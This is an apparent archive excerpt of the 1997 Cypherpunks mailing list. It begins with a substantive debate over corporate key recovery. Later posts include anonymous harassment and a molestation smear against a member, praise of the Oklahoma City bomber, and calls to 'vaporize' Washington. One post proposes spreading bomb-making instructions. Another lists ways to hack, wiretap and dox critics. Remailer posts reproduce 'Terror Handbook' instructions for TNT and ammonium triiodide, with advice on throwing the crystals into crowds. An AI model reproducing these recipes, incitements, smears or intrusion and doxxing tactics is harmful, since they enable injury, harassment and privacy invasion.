change in the keys used to authenticate access to the key safe --
similar complexity in both models.

> Furthermore, by encrypting every document to the same master key you
> have actually vastly increased your exposure -- a key-safe can have a
> lot of special-purpose physical and cryptographic security, but the
> master key in the multiple recipient model is almost certainly treated
> the same as all other keys.

You can use special hardware to generate the key pair and to store the
private key -- again, similar issues and similar solutions in both
models.

> > I'm sure you can arrange this same flexibility and bring in the
> > baggage of the policy decisions that come with it for the safe
> > model also if you want it.  Store keys for different departments in
> > different safes.  Give the master keys for the department to the
> > department head, etc.,etc.  Same problem, similar policy decisions,
> > right?
>
> Nope.  Not at all.  The policy for multiple recipients needs to be
> interpreted by the crypto clients.  But in the key-safe model policy
> is almost entirely in human hands.  It doesn't even have to be written
> down.

In either model, you can have the users' software do the same thing
every time (talk to teh same key safe, or encrypt to the same additional
key every time); and in either model you can have the users' software
do different things depending on policies (talk to different key safes,
encrypt to different additional recipients).

It's unfair to say "but I choose to do the same thing every time, and
you choose to do different things every time, therefore my model is
simpler than yours".  In fact, both models are almost equally capable of
being used in either the simple way or teh complex way.

> Modestly secure example: The keysafe runs on a single workstation,
> hardened similar to a firewall.  The only network connections are to
> a single port, which does the cryptographically secure key storing
> protocol.  When a key needs to be recovered, three trusted employees
> troop into the room (three passwords are required, these passwords
> are essentially the master key), and retrieve the needed key on a
> floppy.  Other than the authentication protocol, there is *no* policy
> embedded in the key-safe, which is to say, *any* policy the company
> wants to use is ok.  It may take the personal presence of the company
> president, it may take a signed statement from operations staff,
> whatever.  No policy is embedded in software, and no software to
> support software needs to be written.

Again, the same scenario plays equally well in the
extra-crypto-recipient model.

> I spoke too soon here.  The key-safe model is intrinsically more
> secure.

I don't see how.

--apb (Alan Barrett)






From kent at songbird.com  Sun May 11 02:57:57 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 17:57:57 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <19970511024334.53652@bywater.songbird.com>


I addressed many of your issues in another post, so I will be 
relatively brief...
On Sun, May 11, 1997 at 10:24:46AM +0200, Alan Barrett wrote:
[...]
> There are many similarities between your idea of a "key safe" for CAK
> (corporate access to keys), and the idea espoused by Carl and others
> of encrypting everything to a corporate key as well as to the other
> recipients.
> 
> If the corporation expects to be successful at forcing it's staff to run
> special software that talks to the CAK key safe, then the corporation
> should also expect to be successful at forcing its staff to run special
> software that adds the special coprorate key as a recipient of all
> encrypted messages.

True.

> If the corporation expects to be successful at keeping the keys to the
> CAK key safe secure, while still allowing an appropriate coalition of
> high level managers to get access to the contents of the key safe,
> then the corporation should also expect to be successful at keeping
> the private part of the corporate key secure, while still allowing
> an appropriate coalition of high level managers to use the special
> corporate private key to decrypt messages.
>
> If the coproration trusts those with access to the CAK key safe not to
> abuse their access, then the corporation should also trust those with
> access to the special corporate key not to abuse it.

Not true.  The activities are quite different in detail.  In the 
multiple recipients (MR) case the coalition keymeisters get together to 
decrypt a single document; in the key safe (KS) case the keymeisters get 
together to decrypt a key, which can then be used to decrypt many 
documents.   In the multiple recipient case, therefore, the master 
key is potentially used quite frequently, and hence much more 
exposed.  There are many other differences: I won't try to go into 
detail here.

The frequent use of the master key is a major problem, because in the 
MR case, when a master key is compromised every document in the 
company is exposed; whereas in the KS case, given appropriate 
security around the keysafe, it is not anywhere as much of a problem.

> > With this background, perhaps now you can see why I say that Carl's
> > solution doesn't even address the problem.  The problem is management
> > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> > What part of the organization that is Acme Corp is authorized to know
> > this particular bit of information?
> 
> Whatever the answer to the latter question is, it's the same in the CAK
> case as it is in the "encrypt to a special coprorate key" case.

Not if the encryption client encrypts to different company recipients
depending on a policy (which one might want if one tries to limit the 
compromised master key problem described above.)  Then the policy, 
contrary to what you state below, must be reflected in the client.

> > Because some of the employees are idiots you want this
> > built automatically into the application they are using for
> > encryption/email/whatever.  How does this software know what policy
> > is appropriate for which employee?  How is that policy distributed?
> > What is the interface that allows a policy to be defined?  How do you
> > protect the policy definition from subversion?
> 
> The same problems arise in the CAK case.  And the same solution: you
> make the user's software do the same thing every time, and implement the
> policy elsewhere.

Sigh.  The situations are really quite different.  In the KS
case the policy never impacts the software; in the MR case I don't 
think you can avoid it.

> > Access to the key-safe is critical, of course, but it can be made very
> > secure -- a special-purpose piece of hardware that requires passwords
> > from n out of m key czars before access is granted, for example.
> > Or the contents of the key safe can be encrypted via keys escrowed
> > through a secret sharing mechanism
> 
> The same problems and solutions apply in both the CAK case and in the
> "corporate key as extra crypto recipient" case.

Not at all.  The corporate master key is used to decrypt documents in the 
MR case; in the KS case the master key is used to get to the key 
database.  Two totally different functions, two totally different 
security paradigms.  The old saw -- you can either hide your eggs all 
over the case, and hope not too many of them get found, or you can 
put them all in one basket and guard the basket.

> Now, having spent some time attempting to show that the two cases are
> almost identical in many respects, let me point out a few ways in which
> I think encrypting to a special corporate key is better than CAK.
> 
>   - With CAK, the key safe contains at least a copy of every key used by
>     every staff member.  All that needs to be kept secure.  This storage
>     problem does not arise in the non-CAK case.

But a relatively straightforward storage problem, really.

>   - With CAK, every time a user creates a new key, the user's software
>     needs to talk to teh key safe.  This needs a secure channel, which
>     raises further authentication problems (how does the user know that
>     he's not talking to a fake key safe).  These don't arise in the
>     non-CAK case.

Not so.  You have to exactly the same issue -- how does the user find 
out the master key to encrypt to?

>   - Once a CAK infrastructure is in place, it is likely to be easier
>     for a government to impose GAK.  It's better not to set up the CAK
>     infrastructure in the first place.
> 
>     To be fair, similar arguments apply to the "add an extra crypto
>     recipient" case: just add two extra crypto recipients (corporate key
>     and big-brother key).  But I think that the general public is more
>     likely to understand what the government wants and to reject the
>     idea in this case than in the GAK case.

Arguable.  Guv won't say "everybody has encrypt every file to the
government key".  Instead they will insist that the corporate master
key be escrowed.  Any master key is an easy target.  And they will
have very good excuses for it -- corporations are public entities, tax
records, etc, so I don't think the public will get worked up about 
it.  Corporations won't, either.

Note that the keysafe model doesn't really need a master key -- it 
will work with just good physical security.  In that case the Gov 
would just issue a subpoena, I guess.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From real at freenet.edmonton.ab.ca  Sun May 11 03:02:19 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 11 May 1997 18:02:19 +0800
Subject: Certified primes
In-Reply-To: <199705101759.TAA01604@basement.replay.com>
Message-ID: 


On Sat, 10 May 1997, Anonymous wrote:

Another demonstration of the sickness in the mind of Vulis.

> Given Timothy May's propensity to molest little children, is it any 
> surprise that the state of California wants to have him castrated?
> 
>        /\ o-/\  Timothy May
>       ///\|/\\\
>      /   /|\   \
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From gbroiles at netbox.com  Sun May 11 03:13:48 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sun, 11 May 1997 18:13:48 +0800
Subject: Money orders, debit cards, ...
In-Reply-To: <5l42hm$u44@joseph.cs.berkeley.edu>
Message-ID: <3.0.1.32.19970511031130.0072fa1c@pop.sirius.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 02:12 AM 5/11/97 -0700, David Wagner wrote:

>(Note: contents of calls are protected by law, but traffic analysis
>specifically is allowed, far as I can tell.)

Correct. There is no (federal) constitutionally protected privacy interest in
traffic-analysis data about phone calls, because (so the argument goes) that
data is voluntarily disclosed to a third party (the phone company).

An argument might be available (in state court) based upon a state's
constitutional right to privacy/right to be free from unreasonable searches &
seizures, if there are any states left whose state constitutions are more
protective than the federal constitution. California and Oregon both used to
be more protective, but the wise and far-seeing voters in both states changed
that via the initiative process. Can't even blame that on the legislators. :(


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBM3WZg/37pMWUJFlhAQFUxQf/XjlD9a53YGoFFZRukCfl9sEo+se2pioH
QgocIjr+QU/cLMSR99OwUnhGMeNAgAo4teMVwVdIol+I/EA2+WJ2Q1FWlGIW7TtD
FTftPbXQQ8vNxTrni0sdi7YcYy2HsXK+Ll+qqyfe4HExvHcjs/FQn8zPtkh005Se
Err3uvzfE+IgWGUTOa+wC7C4w7SDYtlx4elvpEwYAPtSvYr8HtHZgY5yYIaoXb15
BTi1gMTIbL3UNcNWwwl6Bvpki6OWlzhT5wzWSmMPoBG5g67BrctSyWTp4kDVc19K
UQL5G9vNqelmfBkQ1MPUDgRCs4X57jvOjIz7BcdenQopjzbsaXDA/g==
=BFJ5
-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 






From real at freenet.edmonton.ab.ca  Sun May 11 03:49:36 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Sun, 11 May 1997 18:49:36 +0800
Subject: [STEGO] Certified primes
In-Reply-To: <199705101044.DAA12163@fat.doobie.com>
Message-ID: 


On Sat, 10 May 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to
him.


> Timothy Maya is just a poor excuse for an 
> unschooled, retarded thug.
> 
>          ____
>          \ _/__ Timothy Maya
>           \\  /
>             \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From frissell at panix.com  Sun May 11 04:30:03 1997
From: frissell at panix.com (frissell at panix.com)
Date: Sun, 11 May 1997 19:30:03 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <3.0.1.32.19970511071841.02a83e64@panix.com>


At 02:08 AM 5/11/97 -0400, Declan McCullagh wrote:
>
>On Sat, 10 May 1997, Duncan Frissell wrote:
>> 
>> Tim was mostly talking about nuking the District of Columbia.  You will
>> note that that is an artificial community filled entirely with politicians
>> and their sycophants.
>
>Ahem!
>
>I note that Washington, DC occasionally even contains Duncan Frissells,
>Lucky Greens, and Sameer Parekhs.
>
>-Declan
>Washington, DC
>
>
>

But not too often.

DCF






From lucifer at dhp.com  Sun May 11 04:33:32 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 19:33:32 +0800
Subject: Mondex
Message-ID: <199705111118.HAA29729@dhp.com>


Tim C[unt] May is a pimply dweeb sitting at a 
computer chortling at his own imagined cleverness.

             |||||||||||
              \~0/ \0~/
              <  (0)  >
         --oOO--/|||\--OOo- Tim C[unt] May






From bennett_t1 at popmail.firn.edu  Sun May 11 08:23:25 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sun, 11 May 1997 23:23:25 +0800
Subject: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970511101807.007a1b90@popmail.firn.edu>


At 09:15 PM 5/10/97 -0600, you wrote:
>Blanc wrote:
>
>> Lately Tim has been making extremely dramatic death statements:   "Kill
>> them all...they are unworthy of life.", "... I
>> pray for the deaths of these criminals.",  "Washington is a cancer than can
>> only be cured with a few megatons of
>> nuclear disinfectant.", "May they all be vaporized.", etc.
>> 
>> These are definitely dark in mood and understandable; I also have violently
>> negative & despairing emotions about these people.   I just wouldn't ever
>> think of involving those who are innocent bystanders and happened to be in
>> the wrong place at the wrong time.
>
>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
>  Is someone who is in the military because of forced enscription at
>the point of a gun (with threats of imprisonment if they refuse) an 
>innocent bystander? When an invading force attacks your home, do you
>only shoot back at those who are there willingly?
>  How about those who willingly process and uphold the atrocities
>which the government commits upon its citizens? (Those who don't turn
>on the gas, but merely put them in the ovens {because the paperwork
>all seemed to be in order}.)
>
>  Were the children in the daycare center at the Federal Building
>at OK city innocent bystanders?
>  Then why, pray tell, did the government allow them to be placed
>in a building which was known to be a prime target of anti-government
>paramilitary idealists? Were they being used as a "shield" in the
>hopes that their presence would protect the others? Or were they
>there in order to provide sensational fodder for government response
>to the inevitable?
>  History bulges with examples of governments using their citizens
>as human shields by placing armament factories in residential areas
>and there are a multitude of other examples of government disregard
>for the lives of their citizens.
>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists. For the government to deny culpability in children
>being present at the bombing reeks of hypocrisy.
>
>> I know that critical times call for critical action, but I just don't
>> expect from anarchist libertarian cypherpunks that they would "throw
>> caution to the wind" (so to speak) and forget how to think about events and
>> actions in terms of specifics and utter precision.
>
>  The fact of the matter is that the government has declared war
>on the freedom and liberty of its citizens and passed draconian
>laws which prevent citizens from defending themselves from 
>government oppression. The government protects those participating
>in its crimes from having to pay a price for their complicity.
>  The government has a ruinous effect on the lives of millions
>of its citizens daily and is responsible for a mountain of deaths
>of "innocent people." Those taking part in the process should be
>made aware that there is a price to pay for their actions.
>
>  Should the Allied war against Nazi Germany have not taken place
>because "innocent" lives would be lost? Should the French Freedom
>fighters not have fought to free their country from occupation
>because "innocent bystanders" would die in the process?
>  Timothy McVeigh's position in history will likely belong in the
>hands of the winner of the war between the government and its
>citizens, but he is already considered a freedom fighter by more
>people than the government would like to admit. He has issued a
>wake-up call for those who think that they can remain nameless 
>and faceless in their complicity with government atrocities.
>
>  While I would have chosen a different approach and target for
>an attack, I will not pass moral judgement on McVeigh's actions.
>That is between himself and his conscience.
>  Tim McVeigh at least had the fortitude to act on his outrage
>over what he perceived as government injustice. What did others
>do over the outrageous tragedy at Waco? Mostly they just turned
>their heads away and tried to pretend that our government is not
>a murderer of men, women and children.
>  How many government employees quit in outrage, stating that
>they would not take part in such atrocities? How many took a
>vocal moral stand against their superiors, or exposed the
>government duplicity involved in the police action?
>
>  Nobody who turns their head is "innocent" and they cannot avoid
>their own responsibility if they choose to place their children
>in the line of fire as a result of their participation in crimes
>against the citizens.
>  Given the wide knowledge of the OK city Federal Building being
>a known target of anti-government forces, I think the placing of
>a daycare center there was the equivalent of military forces who
>cowardly advance with women and children in front of them. (And
>there are ample examples of this in history.)
>
>  Those in government express outrage at the barbarity of an
>individual citizen attacking his oppressors, but apparently are
>not outraged enough to stop their oppression.
>  The fact is that we have a police state whose power and abuse
>of power are growing by leaps and bounds because there has been
>no realistic amount of accountability attached to their actions.
>  This is an unnatural state of affairs and one that human nature
>will correct. When things become too far out of balance, then
>the universal laws of nature correct the situation. I believe that
>the dinosaurs learned this lesson, as well.
>
>TruthMonger
>
>
Citizens used to not take any of the government's crap.  After the
revolutionary war, if the governemt so much as wiped their asses sideways
without the citizens approval, people would let them know, vehemently.
Citizens need to do this more often.






From adam at homeport.org  Sun May 11 08:27:46 1997
From: adam at homeport.org (Adam Shostack)
Date: Sun, 11 May 1997 23:27:46 +0800
Subject: Admin Feigns Back Off On Crypto Bill
In-Reply-To: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>
Message-ID: <199705111443.KAA08859@homeport.org>


John Young wrote:
| BTW, another report claims that proposed new regs will allow 
| banks the special privilege of strong crypto if they come up 
| with an acceptable KMI within two years.

	This is entirely newspeak and nonsense to drive a 'flick the
switch' shift to GAK.

	Banks already have FINCEN, the IRS, and the FDIC constantly
deep inside their books for whatever purpose the Feds deem
appropriate.  There is absolutely zero call for KR within banks.  (I'm
assuming that an acceptable KMI means KR.  After all, the NSA wrote
the current banking KMI (X9.17, X9.9), and it doesn't seem to have any
KR in it.  The ABA wrote the latest revs of those specs to use 3des,
which seemingly takes them out of the realm of acceptable.)

	Analagous arguments can be made about brokerages and other
NBFIs and the SEC, or other branches of government.  I've heard a
story, may be urban legend, that the SEC recently sent someone to jail
on insider trading on the basis that his father made a huge profit on
a stock deal.  There was no phone or mail traffic recorded that would
indicate collusion.  Someone (Unicorn?) may have a reference.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From dlv at bwalk.dm.com  Sun May 11 08:29:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:29:31 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: <19JJ7D18w165w@bwalk.dm.com>


Declan McCullagh  writes:

> On Sat, 10 May 1997, Duncan Frissell wrote:
> >
> > Tim was mostly talking about nuking the District of Columbia.  You will
> > note that that is an artificial community filled entirely with politicians
> > and their sycophants.
>
> Ahem!
>
> I note that Washington, DC occasionally even contains Duncan Frissells,
> Lucky Greens, and Sameer Parekhs.

Of the lot, I don't mind seeing Lucky G. and Sameer P. nuked.
I'd hope that Duncan F. and Declan M. happen to be travelling,
but the end result is worth it. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sun May 11 08:31:19 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:31:19 +0800
Subject: Disinformation in L.A.
In-Reply-To: <199705110023.TAA19163@manifold.algebra.com>
Message-ID: 


ichudov at algebra.com (Igor Chudov @ home) writes:
> > There will be a few unfortunate explosions in the world over the next few
> > years so I'm sure Tim is just hoping for a beneficial target selection.
>
> Duncan, it is doubtful that there is any member of this mailing list, at
> least of those whom I have seen posting, who will dare to raise his fat
> ass and blow something up.

A good friend of mine used to be a gun-toting Black Panther in the days
of his youth.  Now he figured the U.S. ain't worth it and lives in the
Carribean.

By the way, here's a good idea for a cypherpunks project: use Adam's
prototype eternity server to place some bomb-making instrctions all
over the Web and Usenet.

Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
should update the Anarchist's Cookbook.

I bet the NCSA folks are kicking themselves for missing the opportunity
to have Jim Bell speak at InfoWarCon 96 :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Sun May 11 09:21:34 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 12 May 1997 00:21:34 +0800
Subject: One-Time Pads as Attack Method
In-Reply-To: <199705101646.MAA21972@main.inetnow.net>
Message-ID: 




> Is posting a TRANSFORM such as a 'OTP' that converts copyrighted material A
> into copyrighted material B a violation of anything, I wonder...  You could
> convert everybody's Internet Explorer into a ZIP file containing a setup
> and executable for Netscape 3.0!!

Technically, an OTP has a problem here because the two files, A and B, 
must be exactly the same size. Padding can solve this of course.

Legally though this is an interesting question: As I understand it (and I 
have only a very limited understanding of the law) copyrights make 
illegal the act of copying the material, rather than the act of owning 
it. Therefore, if I do A XOR B where A is say micro$oft access, and B is 
my transformation, and get C which is a copy of, say, micro$oft excel, I 
have commited no crime. Does anyone on here with a knowledge of the law 
have an opinion on this?

> >Do you think that Microsoft has a one-time-pad that will convert
> >Netscape 3.1 into Word for Windows?

Of course it need not even be an OTP, we could use a mapping to permute 
the bits in one file onto the bits in another. If this were illegal under 
current law, what would be illegal, the program, the owning of it, the 
act of using it to create the copyrighted software C????????????

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sun May 11 09:25:51 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Mon, 12 May 1997 00:25:51 +0800
Subject: timmy has finally lost it
In-Reply-To: <199705110501.WAA17736@netcom13.netcom.com>
Message-ID: 




> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.

Congress discussing any bills whatsoever should make all decent people 
cringe. 

> the congressional crypto bills are generally a good thing, because
> they are increasing public awareness of the issue. any bill that
> is not fair or just is likely to be tested in the courts, and if
> our system is beyond an orwellian tyranny, will be struck down.
> do we have a constitution or not? if so, we have nothing to worry
> about. (of course, I am not advocating doing nothing, but I am
> advocating not panicking or calling for the "vaporization of washington"..)

Wrong, you would lose count very quickly indeed if you tried to count all 
the laws in the US that would lose to a fair and objective constitutional 
challenge. The constitution doesn`t mean shit any more.

The vaporization of washington should be a priority for anyone with a 
sense of self preservation or moral obligation towards his fellow man.

> there might actually be an advanteage in a very orwellian bill
> *passing*. if it is struck down, perhaps no legislator would ever
> try again, and those that tried would have their reputations marred
> with widescale public infamy.

This is certainly a possibility, but is a big risk to take and would also 
be "playing the game" with the legislators by challenging them on their 
own terms. The only challenge we should be making is the only one they 
understand: a .45 pointed up their nostil.

> TCM is terrified by virtually anything that happens in govt, which is 
> amusing and comical at times.

I find it amusing and comical, and also very worrying, to see people who 
aren`t terrified by the actions of a government that fails to recognise 
nearly all of the basic rights of it`s citizens. If you`re not part of 
the solution you`re part of the problem.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From declan at pathfinder.com  Sun May 11 09:37:37 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Mon, 12 May 1997 00:37:37 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: 


Here's another good idea for a cypherpunks project: *don't* use the
Eternity Server to post even more bomb-making instructions all over the
Web and Usenet.

You might remember I wrote recently about the DoJ report released this
month that calls for new legislation to ban bomb-making info online. Now
Feinstein's office tells me she's going to introduce a bill. 

No need to throw red meat to the hounds.

(Hmmm. Looking back at my message, I'm essentially saying "censor
yourself or the government will." Not sure I like that argument.)

-Declan


On Sun, 11 May 1997, Dr.Dimitri Vulis KOTM wrote:

> By the way, here's a good idea for a cypherpunks project: use Adam's
> prototype eternity server to place some bomb-making instrctions all
> over the Web and Usenet.
> 
> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.
> 
> I bet the NCSA folks are kicking themselves for missing the opportunity
> to have Jim Bell speak at InfoWarCon 96 :-)






From aba at dcs.ex.ac.uk  Sun May 11 10:31:44 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Mon, 12 May 1997 01:31:44 +0800
Subject: hacking the media (was Re: Wine Politics Again! (fwd))
In-Reply-To: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>
Message-ID: <199705111715.SAA01705@server.test.net>



Alan Olsen  writes:
> At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:
> 
> >It ill behooves participants in a democracy to either advocate or even
> >tolerate or even cluck sympathetically at mass murder for political ends. 
> >This way lies Bosnia.
> 
> I suggest making them look like fools.  It allows public opinion to turn
> against the fascists without them having murder or mayhem as a scapegoat. 
> There is nothing the greyfaces hate more than laughter.
> 
> Now is the time to hack the media.

Ideas?

Maybe mirror some information which they won't like and laugh at them
when they fail to take it down?

Hack their web pages?  Socially engineer a change to their NIC info
(as Susan Thunder did to `takedown.com' which was about `taking down'
Mitnick.  She talked internic into changing it to takendown.com.  Heh
heh.)  Hack the DNS server entries for their web pages, so it'll take
them to recover.

Eavesdrop on their cell phones and post the audio files?  

Post their credit ratings, bank balances, all the personal info a PI
or hacker can get?

Set them up and tape what they think is a corrupt deal with a kick
back for them going down?

Plant a bug on a politician leave it going for a few weeks and post
the findings?

May be we can start a pool to reward the hacker who gets dirt on them
which shows them for what they are, if the poetic justice of it isn't
enough incentive.  Hire a good PI.

Put all this info on the web and laugh when they fail to take it down.
(Hint: eternity).

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0


T.N.T.
T.N.T






     T.N.T., or Tri-Nitro-Toluene, is perhaps the second oldest known high
explosive. Dynamite, of course, was the first. It is certainly the best known
high explosive, since it has been popularized by early morning cartoons. It
is the standard for comparing other explosives to, since it is the most well
known. In industry, a T.N.T. is made by a three step nitration process that is
designed to conserve the nitric and sulfuric acids which are used to make the
product. A terrorist, however, would probably opt for the less economical one
step method. The one step process is performed by treating toluene with very
strong (fuming) sulfuric acid. Then, the sulfated toluene is treated with very
strong (fuming) nitric acid in an ice bath. Cold water is added the solution,
and it is filtered.






From the Terror Handbook






From lucifer at dhp.com  Sun May 11 10:37:38 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:37:38 +0800
Subject: No Subject
Message-ID: <199705111715.NAA21921@dhp.com>


dynamite
DYNAMITE






     The name dynamite comes from the Greek word "dynamis", meaning power.
Dynamite was invented by Nobel shortly after he made nitroglycerine. It was
made because nitroglycerine was so dangerously sensitive to shock. A misguided
individual with some sanity would, after making nitroglycerine (an insane act)
would immediately convert it to dynamite. This can be done by adding various
materials to the nitroglycerine, such as sawdust. The sawdust holds a large
weight of nitroglycerine per volume. Other materials, such as ammonium nitrate
could be added, and they would tend to desensitize the explosive, and increase
the power.  But even these nitroglycerine compounds are not really safe.






From the Terror Handbook






From lucifer at dhp.com  Sun May 11 10:39:30 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:39:30 +0800
Subject: No Subject
Message-ID: <199705111714.NAA21881@dhp.com>


ammonium triiodide crystals
AMMONIUM TRIIODIDE CRYSTALS






Ammonium triiodide crystals are foul-smelling purple colored crystals
that decompose under the slightest amount of heat, friction, or shock, if they
are made with the purest ammonia (ammonium hydroxide) and iodine.  Such
crystals are said to detonate when a fly lands on them, or when an ant walks
across them.  Household ammonia, however, has enough impurities, such as soaps
and abrasive agents, so that the crystals will detonate when thrown,crushed, or heated.  Upon detonation, a loud report is heard, and a cloud of purple iodine
gas appears about the detonation site.  Whatever the unfortunate surface that
the crystal was detonated upon will usually be ruined, as some of the iodine
in the crystal is thrown about in a solid form, and iodine is corrosive.  It
leaves nasty, ugly, permanent brownish-purple stains on whatever it contacts.
Iodine gas is also bad news, since it can damage lungs, and it settles to the
ground and stains things there also.  Touching iodine leaves brown stains on
the skin that last for about a week, unless they are immediately and vigorously
washed off.  While such a compound would have little use to a serious terrorist,
a vandal could utilize them in damaging property.  Or, a terrorist could throw
several of them into a crowd as a distraction, an action which would possibly
injure a few people, but frighten almost anyone, since a small crystal that
not be seen when thrown produces a rather loud explosion.  Ammonium triiodide
crystals could be produced in the following manner:









      MATERIALS                 EQUIPMENT
     

     -iodine crystals          -funnel and filter paper

                               -paper towels
     -clear ammonia
      (ammonium hydroxide,      -two throw-away glass jars
      for the suicidal)








1) Place about two teaspoons of iodine into one of the glass jars.  The jars
   must both be throw away because they will never be clean again.



2) Add enough ammonia to completely cover the iodine.



3) Place the funnel into the other jar, and put the filter paper in the funnel.
   The technique for putting filter paper in a funnel is taught in every basic
   chemistry lab class: fold the circular paper in half, so that a semi-circle
   is formed.  Then, fold it in half again to form a triangle with one curved
   side.  Pull one thickness of paper out to form a cone, and place the cone
   into the funnel.



4) After allowing the iodine to soak in the ammonia for a while, pour the
   solution into the paper in the funnel through the filter paper.



5) While the solution is being filtered, put more ammonia into the first jar
   to wash any remaining crystals into the funnel as soon as it drains.



6) Collect all the purplish crystals without touching the brown filter paper,
   and place them on the paper towels to dry for about an hour.  Make sure that
   they are not too close to any lights or other sources of heat, as they could
   well detonate. While they are still wet, divide the wet material into about
   eight chunks.



7) After they dry, gently place the crystals onto a one square inch piece of
   duct tape.  Cover it with a similar piece, and gently press the duct tape
   together around the crystal, making sure not to press the crystal itself.
   Finally, cut away most of the excess duct tape with a pair of scissors, and
   store the crystals in a cool dry safe place.  They have a shelf life of
   about a week, and they should be stored in individual containers that can be
   thrown away, since they have a tendency to slowly decompose, a process which
   gives off iodine vapors, which will stain whatever they settle on.  One
   possible way to increase their shelf life is to store them in airtight
   containers.  To use them, simply throw them against any surface or place them
   where they will be stepped on or crushed.






From the Terror Handbook






From lucifer at dhp.com  Sun May 11 10:43:01 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:43:01 +0800
Subject: No Subject
Message-ID: <199705111724.NAA22101@dhp.com>


ammonium nitrate
AMMONIUM NITRATE

